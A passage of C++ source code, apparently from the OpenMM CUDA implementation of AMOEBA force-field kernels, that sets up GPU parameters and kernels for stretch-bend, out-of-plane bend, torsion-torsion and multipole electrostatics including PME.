force.getStretchBendParameters(startIndex+i, atoms[i][0], atoms[i][1], atoms[i][2], lengthAB, lengthCB, angle, k1, k2);
paramVector[i] = make_float3((float) lengthAB, (float) lengthCB, (float) angle);
paramVectorK[i] = make_float2((float) k1, (float) k2);
}
params1.upload(paramVector);
params2.upload(paramVectorK);
map<string, string> replacements;
replacements["APPLY_PERIODIC"] = (force.usesPeriodicBoundaryConditions() ? "1" : "0");
replacements["PARAMS"] = cu.getBondedUtilities().addArgument(params1.getDevicePointer(), "float3");
replacements["FORCE_CONSTANTS"] = cu.getBondedUtilities().addArgument(params2.getDevicePointer(), "float2");
replacements["RAD_TO_DEG"] = cu.doubleToString(180/M_PI);
cu.getBondedUtilities().addInteraction(atoms, cu.replaceStrings(CudaAmoebaKernelSources::amoebaStretchBendForce, replacements), force.getForceGroup());
cu.addForce(new ForceInfo(force));
}
double CudaCalcAmoebaStretchBendForceKernel::execute(ContextImpl& context, bool includeForces, bool includeEnergy) {
return 0.0;
}
void CudaCalcAmoebaStretchBendForceKernel::copyParametersToContext(ContextImpl& context, const AmoebaStretchBendForce& force) {
cu.setAsCurrent();
int numContexts = cu.getPlatformData().contexts.size();
int startIndex = cu.getContextIndex()*force.getNumStretchBends()/numContexts;
int endIndex = (cu.getContextIndex()+1)*force.getNumStretchBends()/numContexts;
if (numStretchBends != endIndex-startIndex)
throw OpenMMException("updateParametersInContext: The number of bend-stretch terms has changed");
if (numStretchBends == 0)
return;
// Record the per-stretch-bend parameters.
vector<float3> paramVector(numStretchBends);
vector<float2> paramVector1(numStretchBends);
for (int i = 0; i < numStretchBends; i++) {
int atom1, atom2, atom3;
double lengthAB, lengthCB, angle, k1, k2;
force.getStretchBendParameters(startIndex+i, atom1, atom2, atom3, lengthAB, lengthCB, angle, k1, k2);
paramVector[i] = make_float3((float) lengthAB, (float) lengthCB, (float) angle);
paramVector1[i] = make_float2((float) k1, (float) k2);
}
params1.upload(paramVector);
params2.upload(paramVector1);
// Mark that the current reordering may be invalid.
cu.invalidateMolecules();
}
/* -------------------------------------------------------------------------- *
* AmoebaOutOfPlaneBend *
* -------------------------------------------------------------------------- */
class CudaCalcAmoebaOutOfPlaneBendForceKernel::ForceInfo : public CudaForceInfo {
public:
ForceInfo(const AmoebaOutOfPlaneBendForce& force) : force(force) {
}
int getNumParticleGroups() {
return force.getNumOutOfPlaneBends();
}
void getParticlesInGroup(int index, std::vector<int>& particles) {
int particle1, particle2, particle3, particle4;
double k;
force.getOutOfPlaneBendParameters(index, particle1, particle2, particle3, particle4, k);
particles.resize(4);
particles[0] = particle1;
particles[1] = particle2;
particles[2] = particle3;
particles[3] = particle4;
}
bool areGroupsIdentical(int group1, int group2) {
int particle1, particle2, particle3, particle4;
double k1, k2;
force.getOutOfPlaneBendParameters(group1, particle1, particle2, particle3, particle4, k1);
force.getOutOfPlaneBendParameters(group2, particle1, particle2, particle3, particle4, k2);
return (k1 == k2);
}
private:
const AmoebaOutOfPlaneBendForce& force;
};
CudaCalcAmoebaOutOfPlaneBendForceKernel::CudaCalcAmoebaOutOfPlaneBendForceKernel(const std::string& name, const Platform& platform, CudaContext& cu, const System& system) :
CalcAmoebaOutOfPlaneBendForceKernel(name, platform), cu(cu), system(system) {
}
void CudaCalcAmoebaOutOfPlaneBendForceKernel::initialize(const System& system, const AmoebaOutOfPlaneBendForce& force) {
cu.setAsCurrent();
int numContexts = cu.getPlatformData().contexts.size();
int startIndex = cu.getContextIndex()*force.getNumOutOfPlaneBends()/numContexts;
int endIndex = (cu.getContextIndex()+1)*force.getNumOutOfPlaneBends()/numContexts;
numOutOfPlaneBends = endIndex-startIndex;
if (numOutOfPlaneBends == 0)
return;
vector<vector<int> > atoms(numOutOfPlaneBends, vector<int>(4));
params.initialize<float>(cu, numOutOfPlaneBends, "outOfPlaneParams");
vector<float> paramVector(numOutOfPlaneBends);
for (int i = 0; i < numOutOfPlaneBends; i++) {
double k;
force.getOutOfPlaneBendParameters(startIndex+i, atoms[i][0], atoms[i][1], atoms[i][2], atoms[i][3], k);
paramVector[i] = (float) k;
}
params.upload(paramVector);
map<string, string> replacements;
replacements["APPLY_PERIODIC"] = (force.usesPeriodicBoundaryConditions() ? "1" : "0");
replacements["PARAMS"] = cu.getBondedUtilities().addArgument(params.getDevicePointer(), "float");
replacements["CUBIC_K"] = cu.doubleToString(force.getAmoebaGlobalOutOfPlaneBendCubic());
replacements["QUARTIC_K"] = cu.doubleToString(force.getAmoebaGlobalOutOfPlaneBendQuartic());
replacements["PENTIC_K"] = cu.doubleToString(force.getAmoebaGlobalOutOfPlaneBendPentic());
replacements["SEXTIC_K"] = cu.doubleToString(force.getAmoebaGlobalOutOfPlaneBendSextic());
replacements["RAD_TO_DEG"] = cu.doubleToString(180/M_PI);
cu.getBondedUtilities().addInteraction(atoms, cu.replaceStrings(CudaAmoebaKernelSources::amoebaOutOfPlaneBendForce, replacements), force.getForceGroup());
cu.addForce(new ForceInfo(force));
}
double CudaCalcAmoebaOutOfPlaneBendForceKernel::execute(ContextImpl& context, bool includeForces, bool includeEnergy) {
return 0.0;
}
void CudaCalcAmoebaOutOfPlaneBendForceKernel::copyParametersToContext(ContextImpl& context, const AmoebaOutOfPlaneBendForce& force) {
cu.setAsCurrent();
int numContexts = cu.getPlatformData().contexts.size();
int startIndex = cu.getContextIndex()*force.getNumOutOfPlaneBends()/numContexts;
int endIndex = (cu.getContextIndex()+1)*force.getNumOutOfPlaneBends()/numContexts;
if (numOutOfPlaneBends != endIndex-startIndex)
throw OpenMMException("updateParametersInContext: The number of out-of-plane bends has changed");
if (numOutOfPlaneBends == 0)
return;
// Record the per-bend parameters.
vector<float> paramVector(numOutOfPlaneBends);
for (int i = 0; i < numOutOfPlaneBends; i++) {
int atom1, atom2, atom3, atom4;
double k;
force.getOutOfPlaneBendParameters(startIndex+i, atom1, atom2, atom3, atom4, k);
paramVector[i] = (float) k;
}
params.upload(paramVector);
// Mark that the current reordering may be invalid.
cu.invalidateMolecules();
}
/* -------------------------------------------------------------------------- *
* AmoebaTorsionTorsion *
* -------------------------------------------------------------------------- */
class CudaCalcAmoebaTorsionTorsionForceKernel::ForceInfo : public CudaForceInfo {
public:
ForceInfo(const AmoebaTorsionTorsionForce& force) : force(force) {
}
int getNumParticleGroups() {
return force.getNumTorsionTorsions();
}
void getParticlesInGroup(int index, std::vector<int>& particles) {
int particle1, particle2, particle3, particle4, particle5, chiralCheckAtomIndex, gridIndex;
force.getTorsionTorsionParameters(index, particle1, particle2, particle3, particle4, particle5, chiralCheckAtomIndex, gridIndex);
particles.resize(5);
particles[0] = particle1;
particles[1] = particle2;
particles[2] = particle3;
particles[3] = particle4;
particles[4] = particle5;
}
bool areGroupsIdentical(int group1, int group2) {
int particle1, particle2, particle3, particle4, particle5;
int chiral1, chiral2, grid1, grid2;
force.getTorsionTorsionParameters(group1, particle1, particle2, particle3, particle4, particle5, chiral1, grid1);
force.getTorsionTorsionParameters(group2, particle1, particle2, particle3, particle4, particle5, chiral2, grid2);
return (grid1 == grid2);
}
private:
const AmoebaTorsionTorsionForce& force;
};
CudaCalcAmoebaTorsionTorsionForceKernel::CudaCalcAmoebaTorsionTorsionForceKernel(const std::string& name, const Platform& platform, CudaContext& cu, const System& system) :
CalcAmoebaTorsionTorsionForceKernel(name, platform), cu(cu), system(system) {
}
void CudaCalcAmoebaTorsionTorsionForceKernel::initialize(const System& system, const AmoebaTorsionTorsionForce& force) {
cu.setAsCurrent();
int numContexts = cu.getPlatformData().contexts.size();
int startIndex = cu.getContextIndex()*force.getNumTorsionTorsions()/numContexts;
int endIndex = (cu.getContextIndex()+1)*force.getNumTorsionTorsions()/numContexts;
numTorsionTorsions = endIndex-startIndex;
if (numTorsionTorsions == 0)
return;
// Record torsion parameters.
vector<vector<int> > atoms(numTorsionTorsions, vector<int>(5));
vector<int2> torsionParamsVec(numTorsionTorsions);
torsionParams.initialize<int2>(cu, numTorsionTorsions, "torsionTorsionParams");
for (int i = 0; i < numTorsionTorsions; i++)
force.getTorsionTorsionParameters(startIndex+i, atoms[i][0], atoms[i][1], atoms[i][2], atoms[i][3], atoms[i][4], torsionParamsVec[i].x, torsionParamsVec[i].y);
torsionParams.upload(torsionParamsVec);
// Record the grids.
vector<float4> gridValuesVec;
vector<float4> gridParamsVec;
for (int i = 0; i < force.getNumTorsionTorsionGrids(); i++) {
const TorsionTorsionGrid& initialGrid = force.getTorsionTorsionGrid(i);
// check if grid needs to be reordered: x-angle should be 'slow' index
bool reordered = false;
TorsionTorsionGrid reorderedGrid;
if (initialGrid[0][0][0] != initialGrid[0][1][0]) {
AmoebaTorsionTorsionForceImpl::reorderGrid(initialGrid, reorderedGrid);
reordered = true;
}
const TorsionTorsionGrid& grid = (reordered ? reorderedGrid : initialGrid);
float range = grid[0][grid[0].size()-1][1] - grid[0][0][1];
gridParamsVec.push_back(make_float4(gridValuesVec.size(), grid[0][0][0], range/(grid.size()-1), grid.size()));
for (int j = 0; j < grid.size(); j++)
for (int k = 0; k < grid[j].size(); k++)
gridValuesVec.push_back(make_float4((float) grid[j][k][2], (float) grid[j][k][3], (float) grid[j][k][4], (float) grid[j][k][5]));
}
gridValues.initialize<float4>(cu, gridValuesVec.size(), "torsionTorsionGridValues");
gridParams.initialize<float4>(cu, gridParamsVec.size(), "torsionTorsionGridParams");
gridValues.upload(gridValuesVec);
gridParams.upload(gridParamsVec);
map<string, string> replacements;
replacements["APPLY_PERIODIC"] = (force.usesPeriodicBoundaryConditions() ? "1" : "0");
replacements["GRID_VALUES"] = cu.getBondedUtilities().addArgument(gridValues.getDevicePointer(), "float4");
replacements["GRID_PARAMS"] = cu.getBondedUtilities().addArgument(gridParams.getDevicePointer(), "float4");
replacements["TORSION_PARAMS"] = cu.getBondedUtilities().addArgument(torsionParams.getDevicePointer(), "int2");
replacements["RAD_TO_DEG"] = cu.doubleToString(180/M_PI);
cu.getBondedUtilities().addInteraction(atoms, cu.replaceStrings(CudaAmoebaKernelSources::amoebaTorsionTorsionForce, replacements), force.getForceGroup());
cu.getBondedUtilities().addPrefixCode(CudaAmoebaKernelSources::bicubic);
cu.addForce(new ForceInfo(force));
}
double CudaCalcAmoebaTorsionTorsionForceKernel::execute(ContextImpl& context, bool includeForces, bool includeEnergy) {
return 0.0;
}
/* -------------------------------------------------------------------------- *
* AmoebaMultipole *
* -------------------------------------------------------------------------- */
class CudaCalcAmoebaMultipoleForceKernel::ForceInfo : public CudaForceInfo {
public:
ForceInfo(const AmoebaMultipoleForce& force) : force(force) {
}
bool areParticlesIdentical(int particle1, int particle2) {
double charge1, charge2, thole1, thole2, damping1, damping2, polarity1, polarity2;
int axis1, axis2, multipole11, multipole12, multipole21, multipole22, multipole31, multipole32;
vector<double> dipole1, dipole2, quadrupole1, quadrupole2;
force.getMultipoleParameters(particle1, charge1, dipole1, quadrupole1, axis1, multipole11, multipole21, multipole31, thole1, damping1, polarity1);
force.getMultipoleParameters(particle2, charge2, dipole2, quadrupole2, axis2, multipole12, multipole22, multipole32, thole2, damping2, polarity2);
if (charge1 != charge2 || thole1 != thole2 || damping1 != damping2 || polarity1 != polarity2 || axis1 != axis2) {
return false;
}
for (int i = 0; i < (int) dipole1.size(); ++i) {
if (dipole1[i] != dipole2[i]) {
return false;
}
}
for (int i = 0; i < (int) quadrupole1.size(); ++i) {
if (quadrupole1[i] != quadrupole2[i]) {
return false;
}
}
return true;
}
int getNumParticleGroups() {
return 7*force.getNumMultipoles();
}
void getParticlesInGroup(int index, vector<int>& particles) {
int particle = index/7;
int type = index-7*particle;
force.getCovalentMap(particle, AmoebaMultipoleForce::CovalentType(type), particles);
}
bool areGroupsIdentical(int group1, int group2) {
return ((group1%7) == (group2%7));
}
private:
const AmoebaMultipoleForce& force;
};
CudaCalcAmoebaMultipoleForceKernel::CudaCalcAmoebaMultipoleForceKernel(const std::string& name, const Platform& platform, CudaContext& cu, const System& system) :
CalcAmoebaMultipoleForceKernel(name, platform), cu(cu), system(system), hasInitializedScaleFactors(false), hasInitializedFFT(false), multipolesAreValid(false), hasCreatedEvent(false),
gkKernel(NULL) {
}
CudaCalcAmoebaMultipoleForceKernel::~CudaCalcAmoebaMultipoleForceKernel() {
cu.setAsCurrent();
if (hasInitializedFFT)
cufftDestroy(fft);
if (hasCreatedEvent)
cuEventDestroy(syncEvent);
}
void CudaCalcAmoebaMultipoleForceKernel::initialize(const System& system, const AmoebaMultipoleForce& force) {
cu.setAsCurrent();
// Initialize multipole parameters.
numMultipoles = force.getNumMultipoles();
CudaArray& posq = cu.getPosq();
vector<double4> temp(posq.getSize());
float4* posqf = (float4*) &temp[0];
double4* posqd = (double4*) &temp[0];
vector<float2> dampingAndTholeVec;
vector<float> polarizabilityVec;
vector<float> molecularDipolesVec;
vector<float> molecularQuadrupolesVec;
vector<int4> multipoleParticlesVec;
for (int i = 0; i < numMultipoles; i++) {
double charge, thole, damping, polarity;
int axisType, atomX, atomY, atomZ;
vector<double> dipole, quadrupole;
force.getMultipoleParameters(i, charge, dipole, quadrupole, axisType, atomZ, atomX, atomY, thole, damping, polarity);
if (cu.getUseDoublePrecision())
posqd[i] = make_double4(0, 0, 0, charge);
else
posqf[i] = make_float4(0, 0, 0, (float) charge);
dampingAndTholeVec.push_back(make_float2((float) damping, (float) thole));
polarizabilityVec.push_back((float) polarity);
multipoleParticlesVec.push_back(make_int4(atomX, atomY, atomZ, axisType));
for (int j = 0; j < 3; j++)
molecularDipolesVec.push_back((float) dipole[j]);
molecularQuadrupolesVec.push_back((float) quadrupole[0]);
molecularQuadrupolesVec.push_back((float) quadrupole[1]);
molecularQuadrupolesVec.push_back((float) quadrupole[2]);
molecularQuadrupolesVec.push_back((float) quadrupole[4]);
molecularQuadrupolesVec.push_back((float) quadrupole[5]);
}
hasQuadrupoles = false;
for (auto q : molecularQuadrupolesVec)
if (q != 0.0)
hasQuadrupoles = true;
int paddedNumAtoms = cu.getPaddedNumAtoms();
for (int i = numMultipoles; i < paddedNumAtoms; i++) {
dampingAndTholeVec.push_back(make_float2(0, 0));
polarizabilityVec.push_back(0);
multipoleParticlesVec.push_back(make_int4(0, 0, 0, 0));
for (int j = 0; j < 3; j++)
molecularDipolesVec.push_back(0);
for (int j = 0; j < 5; j++)
molecularQuadrupolesVec.push_back(0);
}
dampingAndThole.initialize<float2>(cu, paddedNumAtoms, "dampingAndThole");
polarizability.initialize<float>(cu, paddedNumAtoms, "polarizability");
multipoleParticles.initialize<int4>(cu, paddedNumAtoms, "multipoleParticles");
molecularDipoles.initialize<float>(cu, 3*paddedNumAtoms, "molecularDipoles");
molecularQuadrupoles.initialize<float>(cu, 5*paddedNumAtoms, "molecularQuadrupoles");
lastPositions.initialize(cu, cu.getPosq().getSize(), cu.getPosq().getElementSize(), "lastPositions");
dampingAndThole.upload(dampingAndTholeVec);
polarizability.upload(polarizabilityVec);
multipoleParticles.upload(multipoleParticlesVec);
molecularDipoles.upload(molecularDipolesVec);
molecularQuadrupoles.upload(molecularQuadrupolesVec);
posq.upload(&temp[0]);
// Create workspace arrays.
polarizationType = force.getPolarizationType();
int elementSize = (cu.getUseDoublePrecision() ? sizeof(double) : sizeof(float));
labFrameDipoles.initialize(cu, 3*paddedNumAtoms, elementSize, "labFrameDipoles");
labFrameQuadrupoles.initialize(cu, 5*paddedNumAtoms, elementSize, "labFrameQuadrupoles");
sphericalDipoles.initialize(cu, 3*paddedNumAtoms, elementSize, "sphericalDipoles");
sphericalQuadrupoles.initialize(cu, 5*paddedNumAtoms, elementSize, "sphericalQuadrupoles");
fracDipoles.initialize(cu, 3*paddedNumAtoms, elementSize, "fracDipoles");
fracQuadrupoles.initialize(cu, 6*paddedNumAtoms, elementSize, "fracQuadrupoles");
field.initialize(cu, 3*paddedNumAtoms, sizeof(long long), "field");
fieldPolar.initialize(cu, 3*paddedNumAtoms, sizeof(long long), "fieldPolar");
torque.initialize(cu, 3*paddedNumAtoms, sizeof(long long), "torque");
inducedDipole.initialize(cu, 3*paddedNumAtoms, elementSize, "inducedDipole");
inducedDipolePolar.initialize(cu, 3*paddedNumAtoms, elementSize, "inducedDipolePolar");
if (polarizationType == AmoebaMultipoleForce::Mutual) {
inducedDipoleErrors.initialize(cu, cu.getNumThreadBlocks(), sizeof(float2), "inducedDipoleErrors");
prevDipoles.initialize(cu, 3*numMultipoles*MaxPrevDIISDipoles, elementSize, "prevDipoles");
prevDipolesPolar.initialize(cu, 3*numMultipoles*MaxPrevDIISDipoles, elementSize, "prevDipolesPolar");
prevErrors.initialize(cu, 3*numMultipoles*MaxPrevDIISDipoles, elementSize, "prevErrors");
diisMatrix.initialize(cu, MaxPrevDIISDipoles*MaxPrevDIISDipoles, elementSize, "diisMatrix");
diisCoefficients.initialize(cu, MaxPrevDIISDipoles+1, sizeof(float), "diisMatrix");
CHECK_RESULT(cuEventCreate(&syncEvent, CU_EVENT_DISABLE_TIMING), "Error creating event for AmoebaMultipoleForce");
hasCreatedEvent = true;
}
else if (polarizationType == AmoebaMultipoleForce::Extrapolated) {
int numOrders = force.getExtrapolationCoefficients().size();
extrapolatedDipole.initialize(cu, 3*numMultipoles*numOrders, elementSize, "extrapolatedDipole");
extrapolatedDipolePolar.initialize(cu, 3*numMultipoles*numOrders, elementSize, "extrapolatedDipolePolar");
inducedDipoleFieldGradient.initialize(cu, 6*paddedNumAtoms, sizeof(long long), "inducedDipoleFieldGradient");
inducedDipoleFieldGradientPolar.initialize(cu, 6*paddedNumAtoms, sizeof(long long), "inducedDipoleFieldGradientPolar");
extrapolatedDipoleFieldGradient.initialize(cu, 6*numMultipoles*(numOrders-1), elementSize, "extrapolatedDipoleFieldGradient");
extrapolatedDipoleFieldGradientPolar.initialize(cu, 6*numMultipoles*(numOrders-1), elementSize, "extrapolatedDipoleFieldGradientPolar");
}
cu.addAutoclearBuffer(field);
cu.addAutoclearBuffer(fieldPolar);
cu.addAutoclearBuffer(torque);
// Record which atoms should be flagged as exclusions based on covalent groups, and determine
// the values for the covalent group flags.
vector<vector<int> > exclusions(numMultipoles);
for (int i = 0; i < numMultipoles; i++) {
vector<int> atoms;
set<int> allAtoms;
allAtoms.insert(i);
force.getCovalentMap(i, AmoebaMultipoleForce::Covalent12, atoms);
allAtoms.insert(atoms.begin(), atoms.end());
force.getCovalentMap(i, AmoebaMultipoleForce::Covalent13, atoms);
allAtoms.insert(atoms.begin(), atoms.end());
for (int atom : allAtoms)
covalentFlagValues.push_back(make_int3(i, atom, 0));
force.getCovalentMap(i, AmoebaMultipoleForce::Covalent14, atoms);
allAtoms.insert(atoms.begin(), atoms.end());
for (int atom : atoms)
covalentFlagValues.push_back(make_int3(i, atom, 1));
force.getCovalentMap(i, AmoebaMultipoleForce::Covalent15, atoms);
for (int atom : atoms)
covalentFlagValues.push_back(make_int3(i, atom, 2));
allAtoms.insert(atoms.begin(), atoms.end());
force.getCovalentMap(i, AmoebaMultipoleForce::PolarizationCovalent11, atoms);
allAtoms.insert(atoms.begin(), atoms.end());
exclusions[i].insert(exclusions[i].end(), allAtoms.begin(), allAtoms.end());
// Workaround for bug in TINKER: if an atom is listed in both the PolarizationCovalent11
// and PolarizationCovalent12 maps, the latter takes precedence.
vector<int> atoms12;
force.getCovalentMap(i, AmoebaMultipoleForce::PolarizationCovalent12, atoms12);
for (int atom : atoms)
if (find(atoms12.begin(), atoms12.end(), atom) == atoms12.end())
polarizationFlagValues.push_back(make_int2(i, atom));
}
set<pair<int, int> > tilesWithExclusions;
for (int atom1 = 0; atom1 < (int) exclusions.size(); ++atom1) {
int x = atom1/CudaContext::TileSize;
for (int atom2 : exclusions[atom1]) {
int y = atom2/CudaContext::TileSize;
tilesWithExclusions.insert(make_pair(max(x, y), min(x, y)));
}
}
// Record other options.
if (polarizationType == AmoebaMultipoleForce::Mutual) {
maxInducedIterations = force.getMutualInducedMaxIterations();
inducedEpsilon = force.getMutualInducedTargetEpsilon();
}
else
maxInducedIterations = 0;
if (polarizationType != AmoebaMultipoleForce::Direct) {
inducedField.initialize(cu, 3*paddedNumAtoms, sizeof(long long), "inducedField");
inducedFieldPolar.initialize(cu, 3*paddedNumAtoms, sizeof(long long), "inducedFieldPolar");
}
usePME = (force.getNonbondedMethod() == AmoebaMultipoleForce::PME);
// See whether there's an AmoebaGeneralizedKirkwoodForce in the System.
const AmoebaGeneralizedKirkwoodForce* gk = NULL;
for (int i = 0; i < system.getNumForces() && gk == NULL; i++)
gk = dynamic_cast<const AmoebaGeneralizedKirkwoodForce*>(&system.getForce(i));
double innerDielectric = (gk == NULL ? 1.0 : gk->getSoluteDielectric());
// Create the kernels.
bool useShuffle = (cu.getComputeCapability() >= 3.0 && !cu.getUseDoublePrecision());
double fixedThreadMemory = 19*elementSize+2*sizeof(float)+3*sizeof(int)/(double) cu.TileSize;
double inducedThreadMemory = 15*elementSize+2*sizeof(float);
if (polarizationType == AmoebaMultipoleForce::Extrapolated)
inducedThreadMemory += 12*elementSize;
double electrostaticsThreadMemory = 0;
if (!useShuffle)
fixedThreadMemory += 3*elementSize;
map<string, string> defines;
defines["NUM_ATOMS"] = cu.intToString(numMultipoles);
defines["PADDED_NUM_ATOMS"] = cu.intToString(cu.getPaddedNumAtoms());
defines["NUM_BLOCKS"] = cu.intToString(cu.getNumAtomBlocks());
defines["ENERGY_SCALE_FACTOR"] = cu.doubleToString(138.9354558456/innerDielectric);
if (polarizationType == AmoebaMultipoleForce::Direct)
defines["DIRECT_POLARIZATION"] = "";
else if (polarizationType == AmoebaMultipoleForce::Mutual)
defines["MUTUAL_POLARIZATION"] = "";
else if (polarizationType == AmoebaMultipoleForce::Extrapolated)
defines["EXTRAPOLATED_POLARIZATION"] = "";
if (useShuffle)
defines["USE_SHUFFLE"] = "";
if (hasQuadrupoles)
defines["INCLUDE_QUADRUPOLES"] = "";
defines["TILE_SIZE"] = cu.intToString(CudaContext::TileSize);
int numExclusionTiles = tilesWithExclusions.size();
defines["NUM_TILES_WITH_EXCLUSIONS"] = cu.intToString(numExclusionTiles);
int numContexts = cu.getPlatformData().contexts.size();
int startExclusionIndex = cu.getContextIndex()*numExclusionTiles/numContexts;
int endExclusionIndex = (cu.getContextIndex()+1)*numExclusionTiles/numContexts;
defines["FIRST_EXCLUSION_TILE"] = cu.intToString(startExclusionIndex);
defines["LAST_EXCLUSION_TILE"] = cu.intToString(endExclusionIndex);
maxExtrapolationOrder = force.getExtrapolationCoefficients().size();
defines["MAX_EXTRAPOLATION_ORDER"] = cu.intToString(maxExtrapolationOrder);
stringstream coefficients;
for (int i = 0; i < maxExtrapolationOrder; i++) {
if (i > 0)
coefficients << ",";
double sum = 0;
for (int j = i; j < maxExtrapolationOrder; j++)
sum += force.getExtrapolationCoefficients()[j];
coefficients << cu.doubleToString(sum);
}
defines["EXTRAPOLATION_COEFFICIENTS_SUM"] = coefficients.str();
if (usePME) {
int nx, ny, nz;
force.getPMEParameters(alpha, nx, ny, nz);
if (nx == 0 || alpha == 0.0) {
NonbondedForce nb;
nb.setEwaldErrorTolerance(force.getEwaldErrorTolerance());
nb.setCutoffDistance(force.getCutoffDistance());
NonbondedForceImpl::calcPMEParameters(system, nb, alpha, gridSizeX, gridSizeY, gridSizeZ, false);
gridSizeX = CudaFFT3D::findLegalDimension(gridSizeX);
gridSizeY = CudaFFT3D::findLegalDimension(gridSizeY);
gridSizeZ = CudaFFT3D::findLegalDimension(gridSizeZ);
} else {
gridSizeX = CudaFFT3D::findLegalDimension(nx);
gridSizeY = CudaFFT3D::findLegalDimension(ny);
gridSizeZ = CudaFFT3D::findLegalDimension(nz);
}
defines["EWALD_ALPHA"] = cu.doubleToString(alpha);
defines["SQRT_PI"] = cu.doubleToString(sqrt(M_PI));
defines["USE_EWALD"] = "";
defines["USE_CUTOFF"] = "";
defines["USE_PERIODIC"] = "";
defines["CUTOFF_SQUARED"] = cu.doubleToString(force.getCutoffDistance()*force.getCutoffDistance());
}
if (gk != NULL) {
defines["USE_GK"] = "";
defines["GK_C"] = cu.doubleToString(2.455);
double solventDielectric = gk->getSolventDielectric();
defines["GK_FC"] = cu.doubleToString(1*(1-solventDielectric)/(0+1*solventDielectric));
defines["GK_FD"] = cu.doubleToString(2*(1-solventDielectric)/(1+2*solventDielectric));
defines["GK_FQ"] = cu.doubleToString(3*(1-solventDielectric)/(2+3*solventDielectric));
fixedThreadMemory += 4*elementSize;
inducedThreadMemory += 13*elementSize;
if (polarizationType == AmoebaMultipoleForce::Mutual) {
prevDipolesGk.initialize(cu, 3*numMultipoles*MaxPrevDIISDipoles, elementSize, "prevDipolesGk");
prevDipolesGkPolar.initialize(cu, 3*numMultipoles*MaxPrevDIISDipoles, elementSize, "prevDipolesGkPolar");
}
else if (polarizationType == AmoebaMultipoleForce::Extrapolated) {
inducedThreadMemory += 12*elementSize;
int numOrders = force.getExtrapolationCoefficients().size();
extrapolatedDipoleGk.initialize(cu, 3*numMultipoles*numOrders, elementSize, "extrapolatedDipoleGk");
extrapolatedDipoleGkPolar.initialize(cu, 3*numMultipoles*numOrders, elementSize, "extrapolatedDipoleGkPolar");
inducedDipoleFieldGradientGk.initialize(cu, 6*numMultipoles, elementSize, "inducedDipoleFieldGradientGk");
inducedDipoleFieldGradientGkPolar.initialize(cu, 6*numMultipoles, elementSize, "inducedDipoleFieldGradientGkPolar");
extrapolatedDipoleFieldGradientGk.initialize(cu, 6*numMultipoles*(numOrders-1), elementSize, "extrapolatedDipoleFieldGradientGk");
extrapolatedDipoleFieldGradientGkPolar.initialize(cu, 6*numMultipoles*(numOrders-1), elementSize, "extrapolatedDipoleFieldGradientGkPolar");
}
}
int maxThreads = cu.getNonbondedUtilities().getForceThreadBlockSize();
fixedFieldThreads = min(maxThreads, cu.computeThreadBlockSize(fixedThreadMemory));
inducedFieldThreads = min(maxThreads, cu.computeThreadBlockSize(inducedThreadMemory));
CUmodule module = cu.createModule(CudaKernelSources::vectorOps+CudaAmoebaKernelSources::multipoles, defines);
computeMomentsKernel = cu.getKernel(module, "computeLabFrameMoments");
recordInducedDipolesKernel = cu.getKernel(module, "recordInducedDipoles");
mapTorqueKernel = cu.getKernel(module, "mapTorqueToForce");
computePotentialKernel = cu.getKernel(module, "computePotentialAtPoints");
defines["THREAD_BLOCK_SIZE"] = cu.intToString(fixedFieldThreads);
module = cu.createModule(CudaKernelSources::vectorOps+CudaAmoebaKernelSources::multipoleFixedField, defines);
computeFixedFieldKernel = cu.getKernel(module, "computeFixedField");
if (polarizationType != AmoebaMultipoleForce::Direct) {
defines["THREAD_BLOCK_SIZE"] = cu.intToString(inducedFieldThreads);
defines["MAX_PREV_DIIS_DIPOLES"] = cu.intToString(MaxPrevDIISDipoles);
module = cu.createModule(CudaKernelSources::vectorOps+CudaAmoebaKernelSources::multipoleInducedField, defines);
computeInducedFieldKernel = cu.getKernel(module, "computeInducedField");
updateInducedFieldKernel = cu.getKernel(module, "updateInducedFieldByDIIS");
recordDIISDipolesKernel = cu.getKernel(module, "recordInducedDipolesForDIIS");
buildMatrixKernel = cu.getKernel(module, "computeDIISMatrix");
solveMatrixKernel = cu.getKernel(module, "solveDIISMatrix");
initExtrapolatedKernel = cu.getKernel(module, "initExtrapolatedDipoles");
iterateExtrapolatedKernel = cu.getKernel(module, "iterateExtrapolatedDipoles");
computeExtrapolatedKernel = cu.getKernel(module, "computeExtrapolatedDipoles");
addExtrapolatedGradientKernel = cu.getKernel(module, "addExtrapolatedFieldGradientToForce");
}
stringstream electrostaticsSource;
electrostaticsSource << CudaKernelSources::vectorOps;
electrostaticsSource << CudaAmoebaKernelSources::sphericalMultipoles;
if (usePME)
electrostaticsSource << CudaAmoebaKernelSources::pmeMultipoleElectrostatics;
else
electrostaticsSource << CudaAmoebaKernelSources::multipoleElectrostatics;
electrostaticsThreadMemory = 24*elementSize+3*sizeof(float)+3*sizeof(int)/(double) cu.TileSize;
electrostaticsThreads = min(maxThreads, cu.computeThreadBlockSize(electrostaticsThreadMemory));
defines["THREAD_BLOCK_SIZE"] = cu.intToString(electrostaticsThreads);
module = cu.createModule(electrostaticsSource.str(), defines);
electrostaticsKernel = cu.getKernel(module, "computeElectrostatics");
// Set up PME.
if (usePME) {
// Create the PME kernels.
map<string, string> pmeDefines;
pmeDefines["EWALD_ALPHA"] = cu.doubleToString(alpha);
pmeDefines["PME_ORDER"] = cu.intToString(PmeOrder);
pmeDefines["NUM_ATOMS"] = cu.intToString(numMultipoles);
pmeDefines["PADDED_NUM_ATOMS"] = cu.intToString(cu.getPaddedNumAtoms());
pmeDefines["EPSILON_FACTOR"] = cu.doubleToString(138.9354558456);
pmeDefines["GRID_SIZE_X"] = cu.intToString(gridSizeX);
pmeDefines["GRID_SIZE_Y"] = cu.intToString(gridSizeY);
pmeDefines["GRID_SIZE_Z"] = cu.intToString(gridSizeZ);
pmeDefines["M_PI"] = cu.doubleToString(M_PI);
pmeDefines["SQRT_PI"] = cu.doubleToString(sqrt(M_PI));
if (polarizationType == AmoebaMultipoleForce::Direct)
pmeDefines["DIRECT_POLARIZATION"] = "";
else if (polarizationType == AmoebaMultipoleForce::Mutual)
pmeDefines["MUTUAL_POLARIZATION"] = "";
else if (polarizationType == AmoebaMultipoleForce::Extrapolated)
pmeDefines["EXTRAPOLATED_POLARIZATION"] = "";
CUmodule module = cu.createModule(CudaKernelSources::vectorOps+CudaAmoebaKernelSources::multipolePme, pmeDefines);
pmeTransformMultipolesKernel = cu.getKernel(module, "transformMultipolesToFractionalCoordinates");
pmeTransformPotentialKernel = cu.getKernel(module, "transformPotentialToCartesianCoordinates");
pmeSpreadFixedMultipolesKernel = cu.getKernel(module, "gridSpreadFixedMultipoles");
pmeSpreadInducedDipolesKernel = cu.getKernel(module, "gridSpreadInducedDipoles");
